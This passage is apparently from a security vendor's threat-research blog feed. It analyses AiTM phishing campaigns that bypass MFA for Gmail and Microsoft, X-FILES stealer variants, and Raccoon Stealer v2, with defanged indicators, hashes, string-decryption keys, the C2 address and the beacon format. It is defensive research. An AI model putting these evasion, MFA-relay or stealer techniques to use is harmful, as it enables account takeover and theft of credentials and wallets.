automated analysis system. Each component of the attack chain is explained in more detail in the corresponding sections later. Figure 1: A high-level attack chain of the phishing process Distribution mechanism The attack vector used in this campaign was emails with the malicious link embedded in them. These emails were specifically sent to chief executives and senior members of the targeted organization. The phishing emails impersonated Google and pretended to be password-expiry reminder emails prompting the user to click a link in order to "Extend their access." Figure 2 shows an example of one such phishing email. Figure 2: G Suite phishing email URL redirection The redirection happens in multiple stages which we describe below. Stage 1 There were two categories of Stage 1 redirect links observed in the Gmail phishing campaign. Variant #1 [Open Redirect abuse] This variant abused Open Redirect pages of Google Ads and Snapchat, similar to what we described in our research on Microsoft AitM phishing campaign. Figure 3 depicts two instances where the same Gmail phishing URL was delivered using a Snapchat redirect in one case, and the Google Ads redirect in another. Figure 3: Redirect using Open Redirect pages Variant #2 This variant used compromised sites which stored an encoded version of the Stage 2 redirector and the victim’s email address in the URL. Figure 4 depicts the format of this variant. Figure 4: Second variant of the Stage 1 URL used to redirect users to Stage 2 Stage 2 (Intermediate redirector) The intermediate redirector is a JavaScript hosted on compromised domains. Figure 5 shows an example of the redirect script. The variable "redirectURL" in the script specifies the final phishing landing page. Figure 5: Stage 2 intermediate URL redirector We observed that the threat actor updated this redirectURL variable regularly to ensure it points to the latest phishing page. This allows the threat actor to quickly update their campaign to keep up with URL detections added by security vendors. We regularly monitored these redirector scripts to identify new phishing pages proactively and added detection. We identified compromised domains hosting URL redirect scripts which were updated to point to the new G suite phishing URLs. Figure 6 shows a side-by-side comparison of this case. In this example, "loftds[.]com" is the attacker-controlled domain hosting the redirector script. As can be seen on the left-hand side, on July 11th 2022, the redirector script pointed to a URL used in Microsoft AitM phishing attack. On the right-hand side, we can see that on July 16th 2022, the same script was updated to point to a URL used in the G Suite AitM phishing attack. Figure 6: Same redirector page used in Microsoft AiTM and G suite/Gmail AiTM phishing This was a strong indicator which helped us correlate the two campaigns to the same threat actor. Fingerprinting-based evasion The main phishing page used client-side JavaScript-based fingerprinting to detect the presence of automated URL analysis systems. The fingerprint information collected from the device will be sent to the server using websocket. We explained the technical details of this fingerprinting method in our previous blog here. Once all the stages of URL redirection and the client fingerprinting checks are passed, the user lands on the final Gmail phishing page as shown in Figure 7. Figure 7: Final Gmail phishing page Figure 8 below shows that the AitM phishing kit is able to successfully relay and intercept the multi-factor authentication process used by Gmail / G Suite. Figure 8: Multi-factor authentication (MFA) process of Gmail intercepted by AiTM phishing kit Zscaler’s detection status Zscaler’s multilayered cloud security platform detects indicators at various levels, as seen here: HTML.Phish.Gmail Conclusion In this blog we described how the threat actor is leveraging AitM proxy-based phishing kits to target multiple email providers' users in enterprises. It is important to understand that such attacks are not limited to only Microsoft and Gmail enterprise users. An attacker can bypass multi-factor authentication protection on many different services using this method. Business email compromise (BEC) continues to be one of the top threats which organizations need to protect against. As described in this blog, the threat actor is constantly registering new domains and targeting more online services often used in enterprises. Even though security features such as multi-factor authentication (MFA) add an extra layer of security, they should not be considered as a silver bullet to protect against phishing attacks. With the use of advanced phishing kits (AitM) and clever evasion techniques, threat actors can bypass both traditional as well as advanced security solutions. As an extra precaution, users should not open attachments or click on links in emails sent from untrusted or unknown sources. As a best practice, in general, users should verify the URL in the address bar of the browser before entering any credentials. The Zscaler ThreatLabz team will continue to monitor this active campaign, as well as others, to help keep our customers safe. Indicators of Compromise Phishing domains *.angalosos[.]xyz *.mdks[.]xyz *.7brits[.]xyz *.fekir5[.]xyz *.bantersplid[.]xyz *.absmg[.]xyz *.wultimacho[.]xyz *.gsuiteworkstation[.]com *.thyxyzjgdrwafzy[.]xyz *.7dmjmg20p8[.]xyz *.appfolders[.]xyz *.4765445b-32c6-4-83e6-1d93765276[.]co *.aucapitalsci[.]com * * Intermediate URL redirectors Note: These are compromised websites *.southernlivingsavannah[.]com *.sunnyislesdental[.]com *.horticulturatanaka[.] ripple-hirodai[.]com pathopowerreport[.]de pagliaispizzakv[.]com *.loftds[.]com *.sabtsaeen[.]ir *.jarrydrenton[.]com *.alphamediaam[.]ir *.hcapinfo[.]com *.gamea[.]ir Tue, 09 8月 2022 08:00:01 -0700 Sudeep Singh Large-Scale AiTM Attack targeting enterprise users of Microsoft email services Summary ThreatLabz has discovered a new strain of a large-scale phishing campaign, which uses adversary-in-the-middle (AiTM) techniques along with several evasion tactics. Similar AiTM phishing techniques were used in another phishing campaign described by Microsoft recently here. In June 2022, researchers at ThreatLabz observed an increase in the use of advanced phishing kits in a large-scale campaign. Through intelligence gathered from the Zscaler cloud, we discovered several newly registered domains that are used in an active credential-stealing phishing campaign. This campaign stands out from other commonly seen phishing attacks in several ways. It uses an adversary-in-the-middle (AiTM) attack technique capable of bypassing multi-factor authentication. There are multiple evasion techniques used in various stages of the attack designed to bypass conventional email security and network security solutions. The campaign is specifically designed to reach end users in enterprises that use Microsoft's email services. Business email compromise (BEC) continues to be an ever-present threat to organizations and this campaign further highlights the need to protect against such attacks. In this blog, we describe details of the tactics, techniques and procedures (TTPs) involved in the campaign. Since the campaign is active at the time of blog publication, the list of indicators of compromise (IOCs) included at the end of the blog should not be considered an exhaustive list. Key points Corporate users of Microsoft's email services are the main targets of this large-scale phishing campaign. All these phishing attacks begin with an email sent to the victim with a malicious link. The campaign is active at the time of blog publication and new phishing domains are registered almost every day by the threat actor. In some cases, the business emails of executives were compromised using this phishing attack and later used to send further phishing emails as part of the same campaign. Some of the key industry verticals such as FinTech, Lending, Insurance, Energy and Manufacturing in geographical regions such as the US, UK, New Zealand and Australia are targeted. A custom proxy-based phishing kit capable of bypassing multi-factor authentication (MFA) is used in these attacks. Various cloaking and browser fingerprinting techniques are leveraged by the threat actor to bypass automated URL analysis systems. Numerous URL redirection methods are used to evade corporate email URL analysis solutions. Legitimate online code editing services such as CodeSandbox and Glitch are abused to increase the shelf life of the campaign. Phishing campaign overview Beginning in June 2022, ThreatLabz observed a sharp increase in advanced phishing attacks targeting specific industries and geographies. We identified several newly registered domains set up by the threat actor to target Microsoft mail services' users. Based on our cloud data telemetry, the majority of the targeted organizations were in the FinTech, Lending, Finance, Insurance, Accounting, Energy and Federal Credit Union industries. This is not an exhaustive list of industry verticals targeted. A majority of the targeted organizations were located in the United States, United Kingdom, New Zealand, and Australia. After analyzing the large volume of domains used in this campaign, we identified some interesting domain name patterns which we highlight below. Domains spoofing Federal Credit Unions Some of the attacker-registered domains were typosquatted versions of legit Federal Credit Unions in the US. Attacker-registered domain name Legit Federal Credit Union domain name crossvalleyfcv[.]org crossvalleyfcu[.]org triboro-fcv[.]org triboro-fcu[.]org cityfederalcv[.]com cityfederalcu[.]com portconnfcuu[.]com portconnfcu[.]com oufcv[.]com oufcu[.]com Note: Per our analysis of the original emails using the Federal Credit Union theme, we observed an interesting pattern. These emails originated from the email addresses of the chief executives of the respective Federal Credit Union organizations. This indicates that the threat actor might have compromised the corporate emails of chief executives of these organizations using this phishing attack and later used these compromised business emails to send further phishing emails as part of the same campaign. Domains spoofing password reset theme Some of the domain names used keywords related to "password reset" and "password expiry" reminders. This might indicate that the theme of the corresponding phishing emails was also related to password reset reminders. expiryrequest-mailaccess[.]com expirationrequest-passwordreminder[.]com emailaccess-passwordnotice[.]com emailaccess-expirynotification[.]com It is important to note that there are several other domains involved in this active campaign, some of them are completely randomized while others do not conform to any specific pattern. Distribution mechanism We have limited visibility into the emails used to distribute the phishing URLs. In some cases, the malicious links were sent directly in the email body; in other cases, the link was present inside the HTML file attached to the email. Figure 1 below shows an email which contained an HTML attachment with the malicious phishing URL embedded inside it. Figure 1: phishing email sent to the user with HTML attachment Figure 2 below shows the contents of the HTML attachment. It uses window.location.replace() to redirect the user to the phishing page when the HTML page is opened with the browser. Figure 2: HTML attachment used to redirect the user to the phishing page Figure 3 below shows an example of a phishing email in which the attacker sent the malicious link directly in the email body. Figure 3: Malicious link present in the email body We observed the use of a variety of URL redirection methods in a large number of cases. Instead of sending the actual phishing URL in the email, the attacker would send links that used a variety of redirection methods to load the final phishing page URL. We describe the details of some of these methods in the following section. Abuse of legitimate web resources for redirections Phishing sites were seen being delivered, redirected into, and hosted using numerous methods. A common method of hosting redirection code is making use of web code editing/hosting services: the attacker is able to use those sites, meant for legitimate use by web developers, to rapidly create new code pages, paste into them a redirect code with the latest phishing site’s URL, and proceed to mail the link to the hosted redirect code to victims en masse. These services provide flexibility to the attackers, since the contents of the redirect codes can be changed at any time. It has been observed that in the midst of a campaign, attackers will modify the code of a redirect page and update a phishing site’s URL that has been flagged as malicious, to a fresh undetected URL. The most commonly abused service for this purpose is CodeSandbox. Figure 4 below shows the most common redirect code hosted on CodeSandbox, utilized by the phishing site. Figure 4: redirect code snippet on an attacker-controlled CodeSandbox instance Figure 5 below shows an example of redirect code hosted on a similarly abused service - Glitch. Figure 5: redirect code hosted on an attacker-controlled Glitch instance. Many dozens, if not hundreds, of different CodeSandbox code pages were observed hosting different redirect codes to the phishing sites. Many of those pages were authored by a network of registered CodeSandbox users, letting us see the names of the Google accounts used for their registration. While most Google accounts we could find are anonymous throwaway accounts that are a dead end to attribution efforts, an internet search of a few account names tie some of the authors to older, more primitive phishing campaigns, and also show a history of engaging in cryptocurrency investment/recovery scams. Another method observed for URL redirection is the abuse of Open Redirect pages hosted by Google Ads and Snapchat. Figure 6 shows more details. Figure 6: different methods of URL redirection abusing Open Redirect pages Browsing to these links will immediately redirect the client to the URL specified in the GET parameter highlighted in blue colour. This method gives the attackers the benefit of being able to send emails with links pointing to these legitimate sites as the entry point, with the actual phishing sites’ addresses only appearing somewhere in the GET parameters, raising the likelihood of evading scanning of malicious URLs performed by email clients. Fingerprinting-based evasion This campaign utilizes a client fingerprinting process on all phishing sites that we will cover in this article. This process happens immediately upon the page being visited. The initial page clients are served consists of JavaScript code, ripped from the FingerprintJS project, whose purpose is to collect information from the client’s browser in order to help the site determine if the person behind the browser is in fact not an unsuspecting victim, but an unwelcome probing analyst or an automated bot. The script gathers identifying information such as the client’s operating system, screen dimensions, and timezone, and communicates its findings back to the site by WebSocket traffic. The complete list of information gathered from the client's machine is mentioned in the Appendix at the end of the blog. Figure 7: Client fingerprint data sent to the server over websocket With this information received, the site arrives at a verdict whether it should continue reeling in the client, or should it get rid of it by redirecting to the Google homepage. How exactly the site decides this is unknown since the logic is present on the server side, but it has been observed that browsers running in virtual machines are detected by examining the name of the client’s graphics driver, as exposed by the WebGL API. By default, VirtualBox and VMware make themselves known this way, and require some masking effort in order to pass this check, for example making use of browser setting `webgl.override-unmasked-renderer` on Firefox. In case the site does not find a reason to suspect the client, it will serve it an authentication cookie that the client-side code will proceed to save before reloading the same page, this time receiving the main phishing page by the site. Figure 8: Upon successful fingerprint process, site returns authentication cookie __3vjQ. Proxy-based AiTM phishing attack overview Traditional credential phishing sites collect the user's credentials and never complete the authentication process with the actual mail provider's server. If the user has multi-factor authentication (MFA) enabled, then it prevents the attacker from logging into the account with only the stolen credentials. In order to bypass multi-factor authentication, attackers can use Adversary-in-the-middle (AiTM) phishing attacks. All the attacks which we describe in this article used the AiTM phishing attack method. AiTM phishing attacks complete the authentication process with the actual mail provider's server (in this case - Microsoft), unlike traditional credential phishing kits. They achieve this by acting as a MiTM proxy and relaying all the communication back-and-forth between the client (victim) and the server (mail provider). There are three main open-source AiTM phishing kits available which are widely known in the community. Evilginx2 Muraena Modlishka Based on our research, we believe that the threat actor in this case used a custom phishing kit. In the following section, we highlight some of the unique attributes we identified in the client-server communication which differs from the common off-the-shelf AiTM phishing kits. We will not cover the technical details of how the AiTM phishing kits work in general since they are widely documented in the public domain such as here. Unique attributes of the phishing kit All advanced AiTM kits have in common that they operate as a proxy between the victim and the target site (Microsoft servers in our case). The kits intercept the HTML content received from the Microsoft servers, and before relaying it back to the victim, the content is manipulated by the kit in various ways as needed, to make sure the phishing process works. We observed several ways in which the phishing kit’s operation is distinguishable from the three open-source kits: HTML parsing It’s apparent that the phishing kit’s backend is making use of an HTML parser library, such as Beautiful Soup. We can deduce this by comparing the messy, unindented HTML code arriving from Microsoft: And the same HTML code as relayed by the phishing kit, tidied up and properly indented: It is likely that the phishing kit feeds the HTML it reads from the Microsoft server into an HTML parser, which creates a programmatic representation of the entire HTML tree. This allows a programmer to conveniently manipulate the different elements by interacting with the objects that represent them. Once the manipulation is done, the library produces an HTML output of the tree with all changes applied. This often results in a tidy output, as we see above. The three open-source kits don’t make use of HTML parsers, instead operating on the received HTML data just by using basic string operations. Domain translation One of the things the kits need to take care of is replacing all the links to the Microsoft domains with equivalent links to the phishing domain, so that the victim remains communicating with the phishing site throughout the phishing session. For example, Figure 9 below shows a side-by-side comparison of an HTML snippet. On the left is the original code as served by Microsoft, and on the right is the same code after it has undergone translation, on its way to be relayed to the victim. Figure 9: HTML snippets before and after translation The original subdomain (green), the original domain name (blue, minus the TLD), and a unique generated ID (pink) are joined together with dashes and become a subdomain under the phishing site’s domain (orange). This translation pattern, namely the 8 hexadecimal digits ID added to links, appears unique to this phishing kit, and is not used by the three open-source kits. However, there’s a case where this translation is not taking place. The Office 365 login page, as part of a feature called “Azure Active Directory Seamless Single Sign-On”, communicates with Microsoft server `` in order to load company-specific scripts to offer this feature to the authenticating client. The references to this server can be seen in this snippet of JavaScript, taken from the main Office 365 login page: For one reason or another, the phishing kit does not perform translation on the links to `` shown above, and they make their way to the victims intact. This results in the victim’s browser performing HTTP requests like the following, while loading the login page: Effectively “leaking” the phishing site’s address as the referring site inside a request to the Microsoft server. This opens up the possibility of detecting the kit in the act, if a victim’s HTTP traffic is monitored by network security solutions capable of deep packet inspection. Post-compromise activity To investigate the post-compromise activity, we set up an Azure AD instance in our lab with a dummy account and a domain controlled by us. We visited one of the live phishing URLs, supplied dummy account credentials, and completed the multi-factor authentication process. In one case, we observed that the attacker logged into our account, 8 minutes after we sent our credentials to the attacker's server. It is important to note that the attacker logged into the account from another IP address (different from the phishing domain's IP address). Based on the delay of 8 minutes in post-compromise activity, we suspect that the threat actor is manually logging into the account. Figure 10 below shows audit / sign-in logs from our lab's Azure AD highlighting the post-compromise activity. Figure 10: Azure AD sign-in logs highlighting post-compromise activity At the time of our investigation, we did not see any specific post-compromise activity performed by the threat actor besides merely logging into the account, reading emails and checking the user's profile information. Zscaler’s detection status Zscaler’s multilayered cloud security platform detects indicators at various levels, as seen here: HTML.Phish.Microsoft Conclusion Business email compromise (BEC) continues to be one of the top threats which organizations need to protect against. As described in this blog, the threat actors are constantly updating their tactics, techniques and procedures (TTPs) to bypass various security measures. Even though security features such as multi-factor authentication (MFA) add an extra layer of security, they should not be considered as a silver bullet to protect against phishing attacks. With the use of advanced phishing kits (AiTM) and clever evasion techniques, threat actors can bypass both traditional as well as advanced security solutions. As an extra precaution, users should not open attachments or click on links in emails sent from untrusted or unknown sources. As a best practice, in general, users should verify the URL in the address bar of the browser before entering any credentials. The Zscaler ThreatLabz team will continue to monitor this active campaign, as well as others, to help keep our customers safe. Indicators of compromise # Since the campaign is active at time of the publication and this threat actor is relentless in creating new domains almost every day, the IOCs below should not be considered as an exhaustive list. The complete list of IOCs can be found at our GitHub repository here: Appendix Client fingerprint collected {u'data': {u'appCodeName': <string>, u'appName': <string>, u'audioCodecs': {u'aac': <string>, u'm4a': <string>, u'mp3': <string>, u'ogg': <string>, u'wav': <string>}, u'automation': [<boolean>, <boolean>, <boolean>, <boolean>, <boolean>, <boolean>, <boolean>, <boolean>, <boolean>, <boolean>, <boolean>, <boolean>, <boolean>, <boolean>, <boolean>, <boolean>, <boolean>, <boolean>], u'battery': <boolean>, u'cookieEnabled': <boolean>, u'debugTool': <boolean>, u'devtools': <boolean>, u'document': {u'characterSet': <string>, u'charset': <string>, u'compatMode': <string>, u'contentType': <string>, u'designMode': <string>, u'hidden': <boolean>, u'inputEncoding': <string>, u'isConnected': <boolean>, u'readyState': <string>, u'referrer': <string>, u'title': <string>, u'visibilityState': <string>}, u'etsl': <integer>, u'hardwareConcurrency': <integer>, u'hasChrome': <boolean>, u'javaEnabled': <boolean>, u'language': <string>, u'languages': [<string>, <string>], u'mediaSession': <boolean>, u'mimeTypes': [<string>, <string>], u'multimediaDevices': {u'micros': <integer>, u'speakers': <integer>, u'webcams': <integer>}, u'permissions': {u'accelerometer': <string>, u'ambient-light-sensor': <string>, u'ambient_light_sensor': <string>, u'background-fetch': <string>, u'background-sync': <string>, u'background_fetch': <string>, u'background_sync': <string>, u'bluetooth': <string>, u'camera': <string>, u'clipboard-write': <string>, u'clipboard_write': <string>, u'device-info': <string>, u'device_info': <string>, u'display-capture': <string>, u'display_capture': <string>, u'geolocation': <string>, u'gyroscope': <string>, u'magnetometer': <string>, u'microphone': <string>, u'midi': <string>, u'nfc': <string>, u'notifications': <string>, u'persistent-storage': <string>, u'persistent_storage': <string>, u'push': <string>, u'speaker-selection': <string>, u'speaker_selection': <string>}, u'platform': <string>, u'plugins': [<string>, <string>, <string>, <string>, <string>], u'referrer': <string>, u'screen': {u'cHeight': <integer>, u'cWidth': <integer>, u'orientation': <string>, u'sAvailHeight': <integer>, u'sAvailWidth': <integer>, u'sColorDepth': <integer>, u'sHeight': <integer>, u'sPixelDepth': <integer>, u'sWidth': <integer>, u'wDevicePixelRatio': <integer>, u'wInnerHeight': <integer>, u'wInnerWidth': <integer>, u'wOuterHeight': <integer>, u'wOuterWidth': <integer>, u'wPageXOffset': <integer>, u'wPageYOffset': <integer>, u'wScreenX': <integer>}, u'serviceWorker': <boolean>, u'timezone': <string>, u'userAgent': <string>, u'vendor': <string>, u'videoCodecs': {u'h264': <string>, u'ogg': <string>, u'webm': <string>}, u'visitorId': <string>, u'webRTC': <boolean>, u'webXR': <boolean>, u'webgl': <string>}, u'ftype': <string>} Tue, 02 8月 2022 08:00:01 -0700 Sudeep Singh X-FILES Stealer Evolution - An Analysis and Comparison Study Introduction Zscaler’s ThreatLabz threat research team recently has spotted a new variant of the emerging X-FILES infostealer attack with enhanced features to exfiltrate sensitive information. X-FILES is a stealer that aims to steal sensitive information, including logins and financial data. This blog will walk through the differences between the variants of X-FILES that we have observed until now, including differences in features, attack chains, and command-and-control (C2) patterns. Following our in-depth analysis, we’ll include a tabular feature comparison. Interesting Facts X-FILES stealer was first observed in March 2021 by 3xp0rt. A second variant was observed in the month of December, 2021 again by 3xp0rt. In June 2022, ThreatLabz discovered a revised version of the stealer. We have observed that the malware is mostly coming from phishing domains hosted on Russian IPs. Even the C2 panel (xfilesreborn[.]ru), for the latest variant, is hosted on Russian IP (46[.]8[.]153[.]137). Recently, it has been seen that the threat actors are now exploiting the Follina vulnerability to deliver X-FILES stealer. Like other infostealers, X-FILES aims to steal and exfiltrate sensitive information such as saved browser credentials, Crypto wallets, FTP credentials, and credit card information. All the variants that we have stumbled upon are written using C# programming language, with new features added over time by the threat actors. With the latest variant, the threat actors have switched to hiding interesting strings in base64 format rather than keeping it in plain text format. Changes in C2 patterns are also observed. Website Analysis Our investigation has revealed a number of phishing websites that have been created and used by threat actors to distribute X-FILES stealer, with some still active. In Scenario 1, the threat actors have distributed malware by pretending to be legitimate VPN software and Nitro Generator software, respectively. The downloaded files from the phishing websites are the X-FILES stealer. Figure 1: Phishing websites 1 and 2 In Scenario 2, the main payload was downloaded by another malicious file hosted on a phishing website, which is a Russian domain associated with multiple malwares. As the domain is currently down, the following screenshot is taken from VirusTotal to show the relationship graph of the malicious domain. Figure 2: Graphical representation of the malicious domain Attack Chain From the above scenarios, we have deduced the layout of the attack chain, illustrated in Figure 3. Figure 3 : X-FILES attack chain Technical Analysis In this section, we will lay out the differences and additional features that we have seen amongst different variants of the stealer, obfuscation of interesting strings, and the C2 pattern of the latest variant. Note:- For the purpose of studying differences in features, the following md5s were analyzed: Latest Variant :123fd0237ca90f8a606009461fe2bb76 (June, 2022) Second Variant : 1ed070e0d33db9f159a576e6430c273c (Dec, 2021) Oldest Variant : 1b85d1786c4dde6ca1ee03a95e19531e(March, 2021) System Information Along with the information of IP, Country, Region, City, Operating System and Screen resolution (all of which were data collected by previous variants), the latest variant collects additional information about Windows Activation key, graphic cards, memory, processor, and antiviruses installed on the victim’s machine. Figure 4: Code comparison The PC info is collected in the following manner by the latest variant: : Figure 5: System Information collected by the latest variant Wallet Information As in the second variant (but not the first), the latest variant collects information about wallets and crypto wallet extensions. The uniqueness of this variant is that, unlike the second variant in which file paths were embedded in code, in this variant a list of targeted files gets downloaded from the C2 panel first and then the information is collected. #Latest Variant Figure 6: Paths of Wallets and crypto-wallets extensions from C2 server #Second Variant Figure 7: Paths of wallets and crypto-wallet extensions embedded in the code Browser Information The latest variant is, like earlier variants, capable of stealing saved browser information. However, the interesting thing is that in the latest variant, the targeted files are searched using a directory crawling technique at targeted folders. After getting a list of the matched patterns and file paths, the same are used for further stealing activities. It is worth noting that the paths are hard-coded in the second and the oldest variant. # Latest variant Figure 8: Latest variant code #Second & Oldest variant Figure 9: Older variants code FTP Information Both the latest and the second variant are capable of collecting FTP-related information, which wasn’t present in the oldest version. It is noteworthy that the second variant steals only Filezilla-related information, whereas the latest variant is also capable of stealing WinScp information, as shown in the below snapshot. Moreover, the latest variant is making use of XmlReader to get values, whereas in the second variant Regex is used to get the targeted information. #Filezilla [Latest variant] Figure 10: Filezilla Information stealing code in latest variant #WinScp [Latest variant] Figure 11: WinScp Information stealing code in latest variant # Second variant Figure 12: Filezilla Information stealing code in older variant Strings Before and After Decryption In order to hide the stuff at static level, the latest variant is now making use of base64 encoded strings (refer to the below snapshot), whereas in earlier versions the strings were in plain text format. Figure 13: Base64 encoded and decoded strings. C2 Communications After performing stealing activities, the malware then exfiltrates data in JSON format to its embedded C2 server. Note:- The attackers nowadays prefer using JSON as a data exchange mechanism as it can be used with any programming language and is easy to handle. Also, as it is a lightweight and structured notation, it is relatively easy to serialize and deserialize the data. Figure 14: JSON data exfiltration - latest variant The description of the C2 pattern of the latest variant is as follows: Parameters Description cookies_x Number of cookies information collected country_x Country Code credit_x Number of Credit cards information retrieved ice_o_lator_hash MD5 hash value of zip file ip_x IP information passwords_x Number of password retrieved postal_x Postal code tag_x Attacker’s hardcoded predefined value user_id Attacker’s hardcoded predefined value wallets_x Names of wallets for which information is collected x_type Type of coverage i.e full or partial zipx Base64 encrypted ZIP file consisted of files created by the stealer In the second variant, the POST request is also made and sent with similar parameters, but not in JSON format. Figure 15: Data exfiltration - second variant In the oldest variant, the C2 pattern was simple and in readable format as shown below: Figure 16: Data exfiltration - earliest variant Features Comparison Target Information Latest Variant [June, 2022] Second Variant [Dec, 2021] Oldest Variant [March, 2021] System Information Yes* Yes Yes Browser Information Yes* Yes* Yes Wallets Information Yes Yes No Telegram Information Yes Yes No FTP Information Yes* Yes No Files Collection Yes Yes Yes Steam Information Yes Yes No Discord Tokens Yes Yes No ScreenShot Yes Yes Yes Note: ”*” implies additional features have been added Conclusion It seems that the threat actors behind the X-FILES stealer campaign are continuously making changes or enhancement in the code and delivery mechanisms to steal a wider variety of sensitive user and system information. In the future, we anticipate additional variants that continue in this trend. Zscaler’s ThreatLabz team is continuously monitoring the campaign and will publish any new findings. MITRE ATT&CK AND TTP Mapping ID Tactic T1189 Drive-by Compromise T1140 Deobfuscate/Decode Files or Information T1082 System Information Discovery T1083 File and Directory Discovery T1005 Data from Local System T1047 Windows Management Instrumentation T1003 OS Credential Dumping T1018 Remote System Discovery T1552.002 Credentials in Registry T1518.001 Security Software Discovery Zscaler Sandbox Coverage: In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects payloads with following threat name: Win32.PWS.X-Files ***Appendix 1- C2 Panel ***Appendix 2 - IOCS [+]Network indicators ohvwowohv[.]ru Xfilesreborn[.]ru insidervpn[.]com importadoracandy[.]com xsph[.]ru [+]MD5s 123fd0237ca90f8a606009461fe2bb76 1ed070e0d33db9f159a576e6430c273c 1b85d1786c4dde6ca1ee03a95e19531e 53ea3df8e2e5749eccd4334b8666da4d 908665f3d7fd15ac69eb2ac320a5338a 707e79d19e602986960fc3717c89d5c4 [+] Filenames client.exe ReadLineS0SAT.exe Svc_host.exe ConsoleA.exe Thu, 04 8月 2022 15:22:22 -0700 Stuti Chaturvedi Raccoon Stealer v2: The Latest Generation of the Raccoon Family Introduction Raccoon is a malware family that has been sold as malware-as-a-service on underground forums since early 2019. In early July 2022, a new variant of this malware was released. The new variant, popularly known as Raccoon Stealer v2, is written in C unlike previous versions which were mainly written in C++. The Raccoon Malware is a robust stealer that allows stealing of data such as passwords, cookies, and autofill data from browsers. Raccoon stealers also support theft from all cryptocurrency wallets. In this blog, ThreatLabz will analyze Raccoon Stealer v2 in the exe format, and highlight key differences from its predecessors. The authors of the Raccoon Stealer malware have announced that other formats are available, including DLLs and embedded in other PE files. Detailed Analysis Raccoon v2 is an information stealing malware that was first seen on 2022-07-03. The malware is written in C and assembly. Though we noticed a few new features in the newer variant as mentioned below, the data stealing mechanism is still the same as is seen in its predecessor: Base64 + RC4 encryption scheme for all string literals Dynamic Loading Of WinAPI Functions Discarded the dependence on Telegram API We have noticed a significant change in the way list of command and control servers is obtained. The Raccoon Malware v1 was seen abusing the Telegram network to fetch the list of command and control servers, whereas the newer variant has abandoned the use of Telegram. Instead, they use a hardcoded IP address of a threat-actor-controlled server to fetch the list of command and control servers from where the next stage payload (mostly DLLs) is downloaded. File Information Malware Name: Raccoon Stealer v2 Language: C File Type: exe File Size: 56832 MD5: 0cfa58846e43dd67b6d9f29e97f6c53e SHA1: 19d9fbfd9b23d4bd435746a524443f1a962d42fa SHA256: 022432f770bf0e7c5260100fcde2ec7c49f68716751fd7d8b9e113bf06167e03 Debug Information The analyzed file has debug data intact. According to the Debug headers compilation date was Thursday, 26/05/2022 13:58:25 UTC as shown in Figure 1. Figure 1: Raccoon v2 Debug Headers We have also seen a change in how Raccoon Stealer v2 hides its intentions by using a mechanism where API names are dynamically resolved rather than being loaded statically. The stealer uses LoadLibraryW and GetProcAddress to resolve each of the necessary functions (shown in Figure 2). The names of the DLLs and WinAPI functions are stored in the binary as clear text. Figure 2: Raccoon v2 dynamic resolution List Of Loaded DLLs kernel32.dll Shlwapi.dll Ole32.dll WinInet.dll Advapi32.dll User32.dll Crypt32.dll Shell32.dll Raccoon v1 did not employ dynamic resolution for used functions, therefore packed samples were often observed in the wild to evade detection mechanisms. Conversely, Raccoon v2 is often delivered unpacked. Figure 3 shows the imported DLLs for raccoon v1. Figure 3: Raccoon Stealer v1 imports (unpacked) Once resolution of functions is done, the stealer will run its string decryption routine. The routine is simple. RC4 encrypted strings are stored in the sample with base64 encoding. The sample first decodes the base64 encoding and then decrypts the encrypted string with the key ‘edinayarossiya’. This routine is followed for all the strings in function string_decryption(). The 'string_decryption' routine is shown in Figure 4. Figure 4: Raccoon v2 String Decryption Routine Previous versions of Raccoon Stealer did not encrypt string literals other than hard coded IP addresses. The Raccoon v2 variant overcomes this by encrypting all the plain text strings. Several of the plaintext strings of Raccoon v1 are shown in Figure 5. Figure 5: Plaintext Strings In Raccoon v1 After manual decryption of the Raccoon v1 sample strings, the following (Figure 6 and Figure 7) strings were obtained in plaintext format. Figure 6: Raccoon v2 Decrypted Strings Figure 7: Raccoon v2 Decrypted Strings The command and control IP addresses are saved in the malware and follow the same decryption routine but have a different key, 59c9737264c0b3209d9193b8ded6c127. The IP address contacted by the malware is ‘hxxp://51(.)195(.)166(.)184/’. The decryption routine is shown in Figure 8. Figure 8: IP Address Decryption Raccoon v2 Decrypting Command and Control IP Address The encrypted command and control IP Address can be easily decrypted by using public tools such CyberChef as shown in Figure 9. Figure 9: Raccoon v2 IP Address (via cyberchef utils) This technique is common between both versions of the malware. Figure 10 shows the same routine employed in Raccoon v1. Figure 10: Raccoon v1 setting up overhead before IP Address decryption Once all the overhead of setting up the functions and decryption of the strings is done, the malware will perform some checks before contacting the command and control server to download malicious DLLs and exfiltrate information. Overhead Before Exfiltration Before executing the core of the malware, certain checks are made to understand the execution environment. This includes making sure the malware isn't already running on the machine. Further the malware also checks if it's running as NT Authority/System. The malware gets a handle on mutex and checks if it matches a particular value or not. If it matches, the malware continues execution. Value: 8724643052. This technique is used to make sure only one instance of malware is running at one time. Figure 11 depicts the Mutex check and creation for Raccoon v2, while Figure 12 depicts the similar procedure used in Raccoon v1. Figure 11: Raccoon v2 Mutex Check Figure 12: Raccoon v1 Mutex Check By retrieving the Process token and matching the text "S-1-5-18," as shown in Figure 13, the malware determines if it is or is not operating as the SYSTEM user. Figure 13: Raccoon v2 Enumerating Process Token If running as a SYSTEM user, the enumeration of all the running processes is done with the help of fun_CreateToolhelp32Snapshot. Otherwise, the malware moves forward without the enumeration. Figure 14 shows the 'enumerate_processes()' function being called while Figure 15 shows the malware iterating over the Processes. Figure 14: Raccoon v2 Enumerate Process Figure 15: Raccoon v2 Iterating Process Struct Fingerprinting Host Once the malware is aware of the environment in which it's running, it starts to fingerprint the host. This malware uses functions such as: RegQueryValueExW for fetching machine ID GetUserNameW Figure 16 depicts the malware retrieving the Machine ID from the registry key "SOFTWAREMicrosoftCryptography" via the RegQueryKeyExW and RegQueryValueExW functions. Figure 17 depicts malware using the GetUserNameW function to retrieve a username. Figure 16: Raccoon v2 Fetching MachineID Figure 17: Raccoon v2 Fetching Username Figure 18: Raccoon v2: Username Buffer After all this is done, the malware will enumerate information such as MACHINE ID and username and then send the data to the remote command and control server. For this purpose, the malware creates a char string and starts appending these values to it. It starts by adding machine id and username. Figure 19 shows the built payload in buffer. Figure 19: Raccoon v2: Fingerprinting Payload Next, it generates and appends configId which is the rc4 encryption key. machineId=<MachineGuid>|<UserName>&configId=<RC4 key> Communications with Command and Control Communication with command and control takes place over plain text http protocol. The previously decrypted IP address hxxp://51(.)195(.)166(.)184/ is used for command and control communication. The malware contacts the list of previously decrypted command and control IP addresses (stored in local_3c). Since this malware only contains one command and control IP Address, the post request is only made to one as seen in Figure 20. Figure 20: Raccoon v2: Command and Control communication Command and Control URL 